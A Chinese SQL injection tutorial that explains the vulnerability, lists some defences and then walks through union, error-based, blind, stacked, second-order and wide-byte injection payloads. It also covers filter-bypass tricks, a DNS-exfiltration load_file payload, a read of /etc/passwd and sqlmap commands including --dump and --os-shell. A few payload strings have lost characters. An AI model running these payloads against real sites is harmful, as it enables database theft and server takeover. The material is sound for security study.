声明:本文章仅做技术交流,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关,如有不妥请联系本人删除。
基本概述
漏洞产生的原因
主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
漏洞的危害和防范
漏洞危害
攻击者可以通过SQL注入获取服务器的库名、表名、字段名、数据库版本、操作系统,从而获取整改网站服务器中的数据,对网站的用户的数据安全造成极大的威胁。
攻击者可对数据库进行拖裤,获取数据进行贩卖。这将泄露用户的隐私信息,对用户的生活造成极大的危害。
漏洞防范
- 增强输入验证及过滤,使用白名单或黑名单进行控制。
- 对特殊的字符编码进行转义。
- 预编译。
- 使用WAF防范软硬件进行防范。
- 对数据库中重要的数据进行加密处理。
- 遵循最小化权限原则,严格区分各类账号管理的范围。
SQL语句的知识拓展
SQL注入步骤
信息收集
sql内置函数:
user() 数据库用户名
database() 当前数据库名
version() 当前数据库版本信息
@@hostname 服务器主机名
@@basedir 数据库安装路径
@@version_compile_os 操作系统
基本信息收集:
操作系统、数据库名、数据库用户、数据库版本、其他路径。
判断是否存在注入点
最为经典的单引号判断法:
在参数后面加上单引号,比如: http://xxx/abc.php?id=1',若页面返回错误,则存在 Sql 注入。
解释:无论字符型还是整型都会因为单引号个数不匹配而报错
如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤
这时可以使用判断语句进行注入:
?id=1 and 1=1 页面正常
?id=1 and 1=2 页面不正常
判断闭合符
'、"、%、)、}等,具体需要进行测试。
判断注入类型
注入类型有:数字型和字符型
数字型
**·**可以使用经典的 and 1=1 和 and 1=2 来判断
url中输入?id=1 and 1=1 页面正常
url中输入?id=1 and 1=2 页面错误(若页面回显仍然正常,则为字符型。因为字符型只会截取1的值,后面的and什么的会忽略)
字符型
**·**可以使用 and ‘1’='1 和 and ‘1’='2来判断:
url中输入1' and '1' = '1,页面运行正常
url中输入1' and '1' = '2,页面运行错误
注入
获取数据库名>获取数据库表名>获取数据库列名>获取数据库字段
实例:
1)判断注入点:?id=1 and 1=2–-+
2)猜列数量:?id=1 order by 4--+
//order by语句是对表进行排序,如果排序列数超过表中的列数,就会报错
3)通过列的数量结合union select进行联合查询:
//UNION中的每个查询必须包含相同的列、表达式或聚集函数(各个列不需要以相同的次序列出)
判断回显位:?id=-1 union select 1,2,3--+(显示位就是上图能够显示123的地方,而上面只显示了2和3,那么是2和3就是显示位。)
获取数据库名:?id=-1 union select 1,database(),version()--+
获取表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
获取列名:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
获取字段名:?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
注:这里联合查询时,union前面的值一定要为假才能执行后面的代码
常见的注入类型
基础注入知识有:联合查询(union)、报错注入(Floor、updatexml、extractvalue)、布尔盲注(Substr、left、right、ascii、length、regexp、like)、时间盲注(sleep)、宽字节绕过(%df、%9c、聂)、post注入、head注入
数据库注入:access(cookie、偏移)、mysql(dns、反弹)、orale(报错)
基于注入内容的分类
数字型注入
数字型就是将输入的内容当作数字来看,是最最基础的注入类型。
这类注入时只需要正常输入即可
字符型注入
字符型就是将输入的内容当作字符来看,所以数据库会将输入的内容自动加上引号。
如:当输入:1 and 1=1时,其实在数据库中输入的是:id =' 1 and 1=1'
所以这类注入时需要对内容加引号进行闭合,如输入:1' and 1 = 1-- -
基于注入手段的分类
联合查询
即使用“union”进行查询。
- union要求每个SELECT语句中的列数必须相同或者可以由NULL填充以匹配另一个SELECT语句。
- 且union前面的值一定要为假才会执行union后的语句。
- UNION中的每个查询必须包含相同的列、表达式或聚集函数(各个列不需要以相同的次序列出)
所以在注入前,先要用“order by”进行列的查询
具体的注入流程如下:
1)判断注入点:?id=1 and 1=2–-+
2)猜列数量:?id=1 order by 4--+
//order by语句是对表进行排序,如果排序列数超过表中的列数,就会报错
3)通过列的数量结合union select进行联合查询:
判断回显位:?id=-1 union select 1,2,3--+(显示位就是上图能够显示123的地方,而上面只显示了2和3,那么是2和3就是显示位。)
获取数据库名:?id=-1 union select 1,database(),version()--+
获取表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
获取列名:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
获取字段名:?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
报错注入
报错注入就是利用了数据库的某些机制,人为的制造错误的条件,使得查询的结果能够出现在错误的信息中。
报错盲注的前提是页面没有回显点,但是必须SQL语句能够执行错误的信息。
优点:不需要显示位。 缺点:需要有SQL语句的报错信息。
报错盲注步骤
构造目标数据查询语句>选择报错注入函数>构造报错注入语句>拼接报错注入语句。
常用报错函数
Floor、updatexml、extractvalue…等等。
Floor
报错原理:当使用报错语句执行查询表的第一条数据时,依据select floor(rand(0)*2) from student;得出的规律01101可以知道这次的值为0(这是第一次计算floor(rand(0)2)),查询虚拟表,发现虚拟表没有数据,于是将0插入虚拟表key字段,在插入key字段时floor(rand(0)2)会再执行一次(这是第二次计算,依据规律值为1),于是乎在key的第一个值插入的其实是1 count ()计数为1 查询第二条数据时,依据01101规律floor(rand(0)*2)结果为1(这是第三次计算),查询虚拟表,发现虚拟表已经有了key为1的记录,于是直接在count处进行加1 查询第三条数据时,依据01101规律floor(rand(0)2)的结果为0(这是第四次计算),查询虚拟表,发现虚拟表没有key为0的值,在插入key字段时floor(rand(0)2)会再执行一次(这时floor(rand(0)*2)的值成为1,这是第五次执行),因为在虚拟表中已经存在key为1的值,所以会出现虚拟表主键冲突,所以报错。 通过上面分析我们可以看出如果数据库的记录小于三条那floor报错也是无法利用的 所以我们查询的表可以是information_schema.tables 这里面应该是有大于等于三条记录的
简单来说,就是:group by在向临时表插入数据时,由于 rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前 concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或数执行后的结果。
涉及的函数
rand()函数:随机返回0~1之间的小数。
floor()函数:向下取整,比如1.314,floor(1.314)为1。
ceil()函数:向上取整。
conact_ws()函数:将括号中的数据用第一个参数连接起来。
group by子句:分组语句,根据一个或多个列,对结果进行分组,常与聚合函数连用,用来统计。
as:别名,一般会将一段长的语句进行缩短。
格式:
select count(*),(floor(rand(0)*2)) as x from 表名 group by x
具体注入流程:
floor\ceil
# 爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
#爆数据库
?id=-1' and (select 1 from (select count(*) ,concat(database( ),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
#爆表
?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#爆列
?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#爆字段
?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
updatexml
格式:updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,XML的内容。
第二个参数:XPath_string (Xpath格式的字符串) ,是需要update的位置XPATH路径。
第三个参数:new_value,String格式,更新后的内容
concat函数:将字符串拼接起来;
group_concat函数的功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果;
以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
具体注入流程:
eg:updatexml(1,'~',3)
updatexml(1,concat(0x7e,(database()),0x7e),3)
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),3)
updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),3)
extractvalue
extractvalue()函数作用:MYSQL对XML文档数据进行查询的XPATH函数。
语法: extractvalue(
xml_frag
,xpath_expr
- xml_frag: 目标xml文档
- xpath_expr: 利用Xpath路径法表示的查找路径
- 报错原理:Xpath格式语法书写错误的话,就会报错
具体注入流程:
extractvalue(0x7e,concat(0x7e,(select database())))
extractvalue(0x7e,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))
extractvalue(0x7e,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))
extractvalue(0x7e,concat(0x7e,(select substring(group_concat(username,'-',password),30,30) from security.users)))
布尔盲注
布尔盲注一般适用于页面没有回显位置,也就是不支持联合查询,同时web页面返回true或者false构造SQL语句,从而达到注入获取数据的目的。
布尔盲注一般适用于页面没有回显位置,也就是不支持联合查询,同时web页面返回true或者false构造SQL语句,从而达到注入获取数据的目的。
常用布尔函数使用语法:
- substr()截取函数
语法:substr(str,start,length)
第一个参数str为被截取的字符串。
第二个参数start为开始截取的位置。
第三个参数length为截取的长度。
如:substr(user(),1,1),从user中返回的数据的第一位开始偏移位置截取一位,后续需要获取其他的数据只需要修改参数即可。- left()截取函数
语法:left(str,length)
第一个参数str为被截取的字符串。
第二个参数length为截取的长度。
如:left(user(),2),从user中返回的数据中截取前两位。- right()截取函数
语法:rigth(user(),2)
参考left()函数用法。- ascii()**转换函数
语法:ascii(char)
第一个参数char为一个字符。
如:ascii(user())若char为一串字符串,则返回的结果将是第一个字母的ASCII码,通常在使用中结合substr函数结合使用。Ascii(substr(user()1,1)),这样就可以获取user()中第一位字符的ASCII码。- length()**计算函数
语法:length(str)
第一个参数str为字符串。
如:length(admin)返回就是5。如果不是放某个字符串,放置表达式的时候,需要使用括号括起来。- ord()**转换函数
语法:ord(str)
参考ascii()函数用法。- 正则表达式regexp
正则表达式语法:
regexp ^[a-z]:表示字符串中第一个字符是在 a-z范围内。
regexp ^a: 表示字符串第一个字符是a。
regexp ^ab: 表示字符串前两个字符是ab。- like函数
语法:Like 'a%'表示字符串第一个字符是a。
Like 'ab%'表示字符串前两个字符是ab。
%表示为任意值
用法举例:
#猜数据库长度
?id=1' and (length(database()))>7--+
#猜数据库名
?id=1' and ascii(substr(database(),1,1))>100--+
#猜表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100--+
#猜字段名
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))>50--+
时间盲注
时间盲注的简介:由于服务器端拼接了SQL语句,且正确和错误存在同样的回显,即是错误信息被过滤,可以通过页面响应时间进行按位判断数据。
时间盲注的原理:时间盲注就是通过拼接if语句,构造我们判断的条件,根据条件的结果返回sleep()函数,使得页面的响应时间比正常的响应时间长,但是这个会由于网络情况造成误判,所以在测试前需要测试正常访问页面的时长。
时间盲注基本步骤:其实这里的基本步骤和布尔盲注都差不多,只不过是通过页面的响应时间来进行判断。
常用盲注函数:
- if()比较函数
语法:if(cond,ture_result,False_result)
第一个参数cond为判断条件。
第二个参数ture_result为真时的返回结果。
第三个参数false_result为假时的返回结果。
如:?id=1 and 1=if (ascii(substr(user(),1,1))=97,1,2)
如果user 的第一位是‘a’则将返回1,否则就返回2。然而,如果返回的是2,则会使and后的条件不成立,导致返回错误页面。这时我们可以根据页面的长度进行判定,从而达到盲注的效果。- sleep()睡眠函数
语法:sleep(N)
第一个参数N是睡眠的时间
如:if (ascii(substr(user(),1,1))=114,sleep(5),2)
这样的话,如果user的第一位是‘r’,则页面返回将延迟5秒。这里需要注意的是,这5秒是在服务器端的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间
堆叠注入
堆叠注入原理:将多条语句堆叠在一起进行查询,且可以执行多条SQL语句
语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造payload
使用条件:
有注入点:即存在sql注入漏洞
未过滤:即未对";"号进行过滤
未禁用:即未禁止执行多条sql语句
新建一个表X:select * from users;create table X like users; 删除创建的X表:select * from users;drop table X; 查询数据:select * from users;select B,C,D; 加载文件:select * from users;select load_file('/etc/passwd'); 增加一条数据:select * from users;insert into users values(18,'admin100','admin100');
具体使用方法:
select * from user where id=1;select 1,user(),database();
RENAME TABLE wordsTOwords1; 将名为words的表重命名为words1
RENAME TABLE 1919810931114514TOwords; 将名为1919810931114514的表重命名为words
ALTER TABLE wordsCHANGEflag id VARCHAR(100); 更改words表中名为flag的列的名称为id,并将其数据类型更改为VARCHAR(100)(最大长度为100个字符)
SHOW COLUMNS FROM words; 显示words表的所有列以及其属性和信息
二次注入
二次注入原理:在二次注入中,初始的恶意查询语句通常包含被数据库转义处理过的特殊字符,例如单引号。当这些语句被插入到数据库中时,虽然数据库对一些字符进行了转义,但某些字符,如单引号,可能未被转义。因此,当程序在后续查询中直接从数据库中取出这些语句时,它们将不会被进一步检查,从而执行原始的恶意查询。
比如,注册账号名为:admin’#的用户,当其被输入到数据库中时,就会默认为账号名为“admin”的用户,而成功更新密码,实现二次注入
具体实践可看文章:渗透测试-SQL注入之二次注入-CSDN博客
宽字节绕过
宽字节注入的简介
宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围)php的魔术引号(magic_quotes_gpc)开启,会在特殊字符(比如 ’ , " , \ , null)前面加 \ ,导致闭合失败。 PHP5.4.0及其之后PHP版本取消了魔术引号,之后转义都需要加上addslashes函数 (stripslashes删除反斜杠)
而且当我们输入单引号时,mysql会调用转义函数,将单引号变为\’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
简单来说,宽字节是”/”在ASCII码里代表“5c”和其他东西组合可能可以由bgk编码为一个汉字而成功绕过。比如%df。但这并不是唯一的,也不是ASCII码中大于128的都行,这需要查gbk编码表。
GBK 编码表 - 在线工具https://www.toolhelper.cn/Encoding/GBK
注入思路 :
将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。这也是bypass的一种方法。
其他数据库的注入
以下数据库的注入不常见,仅讲述攻击手法作了解
access
cookie
攻击手法:
按F12,删除get的?以及后面部分,输入代码后回车,刷新网页
判断注入点:
document.cookie="id="+escape("171")
显示正常,有漏洞
document.cookie="id="+escape("171 and 1=2")
数据库错误表示and 1=2被当作语句执行
判断出查询语句字段数10
document.cookie="id="+escape("171 order by 10|11")
判断回显位置
document.cookie="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,0 from admin")
获得username和password
document.cookie="id="+escape("171 and 1=2 union select 1,username,password,4,5,6,7,8,9,0 from admin")
ps:cookie注入失败的原因可能是手法问题,在控制台回车后需要再刷新一下看看
偏移
https://www.cnblogs.com/02SWD/p/15811580.html
mysql
dns
mysql注入之dns注入_mysql dns注入-CSDN博客
DNSlog网站:http://dnslog.cn/
使用dnslog,获取站点
/123.jpg?id=1 and load_file(concat('//',database(),'.获取到的站点/456'))
加这个/456的目的是让他去读取这个目录,这个可以随便写,456、qw什么的,这里是为了符合格式,
反弹
MSSQL注入 — 反弹注入_mysql注入反弹 msfvenom-CSDN博客
orale
报错
【Oracle注入--报错注入】_oracle报错注入-CSDN博客
SQL注入的过滤与绕过
(1)空格过滤绕过
① 两个空格代替一个
② 用TAB代替空格
③ %a0=空格
④ 若括号没被过滤可以使用括号进行过滤
⑤ %0B绕过
(2)or或and过滤绕过
① 大小写变形Or,OR,oR
② 编码
③ 添加注释/or/
④ 利用符号 and=&&,or=||
⑤ 双写and=anandd,or=oorr
(3)#或–+过滤绕过
① 单引号闭合需要在后面增加一个单引号即可
② 双引号闭合需要在后面注入语句后面增加一个双引号
③ (‘’)单引号加括号这种需要多加一个or (‘’)=('1
④ (“”)双引号加括号这种需要多加一个or (“”)=("1
⑤ or ‘1’=’1进行闭合。
(4)union,select等关键字过滤绕过
① 大小写绕过uNIon,sEeCt
② 双写绕过uniunionon,selselctct
③ 注释符绕过U/**/nion
④ 内联注释/!union/
⑤ 编码绕过
(5)等号过滤绕过
① 大于号小于号替代等号
② like绕过
(6)函数过滤绕过
① 同功能函数替换mid()替换substring()
② 各类编码绕过
工具的使用
sqlmap
sqlmap.py -u “URL”
--delay=1 每次探测延时1s 防止访问过快被ban
-p 指定参数
--flush-session 无视缓存重新跑
--dbs 查看库
-D 指定库
--tables 查看表(表那么多,是不是应该指定库去看)
-T"admin" 指定admin表
--columns 查看字段
-C 指定字段
--dump 获取数据【慎用】 拖库
--is-dba 检测权限 True
--os-shell 直接获取服务器权限
sqlmap测试分等级。等级越高测试的越慢、但是测出漏洞的可能性越大level 1-5 risk 1-3,--level 3 --risk 2 测试的语句多,但是时间也不离谱
#查询当前用户下所有数据库
sqlmap.py -u url --dbs
#查询表名
sqlmap.py -u url -D dbname --tables
#查询字段名
sqlmap.py -u url -D dbname -T tablename --columns
#查询字段内容
sqlmap.py -u url -D dbname -T tabalename -C olumnname --dump
burp
抓包之后把数据包放到sqlmap文件夹新建1.txt,想跑哪个位置就在后面加*
如username=qweasdzxc123*
python sqlmap.py -r 1.txt --level 3 --risk 2